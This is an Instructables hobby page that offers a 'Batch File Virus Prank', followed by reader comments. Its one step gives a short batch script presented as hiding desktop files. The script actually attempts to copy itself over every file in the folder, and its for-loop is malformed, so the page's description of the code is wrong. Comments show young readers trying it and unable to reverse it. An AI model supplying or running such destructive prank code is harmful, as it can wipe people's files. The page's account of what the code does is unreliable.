3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

Batch File Virus Prank

Batch File Virus Prank
«
  • pic1.jpg
  • pic2.jpg
  • pic3.jpg
This instructable will teach you how to make a simple batch virus that hides all program files on the desktop. I had actually discovered this virus by a coding mistake I had made.
 
Remove these adsRemove these ads by Signing Up
 

Step 1Time for some coding!

Time for some coding!
First, open up notepad and create a file on the desktop named virus.bat. Then type in:

@echo off
attrib +h
for %%a in (*.*) copy virus.bat %%a

Click save and your done!
« Previous StepDownload PDFView All StepsNext Step »
19 comments
Apr 23, 2009. 10:20 PMXOIIO says:
This is a great batch programming trick! it's great to scare people, and if you want to hide "private" documents or pictures, you can insert the virus and when you want to see it, insert the antivirus. if you are starting to learn batch programming, search me and you will find a good tutorial, in a few days there will be an advanced version, thanks for the help!
Dec 21, 2011. 2:15 AMMr.Science Projects says:
HELLO! I don't know how to reverse it!Can somebody please help me? :(
Aug 15, 2010. 9:01 PMJimmy Proton says:
nothing happened how do you "run" notepad
Aug 15, 2010. 9:24 PMJimmy Proton says:
i copied what u said to copy and saved it as virus.bat, but when i open it nothing happens
Aug 16, 2010. 4:31 PMJimmy Proton says:
it just opened the file, thats it and what do you mean "did i put it on the desktop"?
Aug 16, 2010. 7:07 PMJimmy Proton says:
sorry i still dont understand, could you make a video for me?
Aug 17, 2010. 8:19 AMJimmy Proton says:
that sux, i have to start school next week D:
Aug 18, 2010. 6:32 AMJimmy Proton says:
yeah i figured that lol
Sep 29, 2009. 6:55 PMshoyru_master_11 says:
Hacks R cool
Apr 29, 2009. 10:16 PMaldecodex says:
great! nice trick!!
Mar 7, 2009. 1:24 PMcmf12 says:
what does the %%a part mean...and why do you have copy virus.bat ??...could you please explain the code please..im learning dos and am n00b :}

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
10
Followers
5
Author:duct tape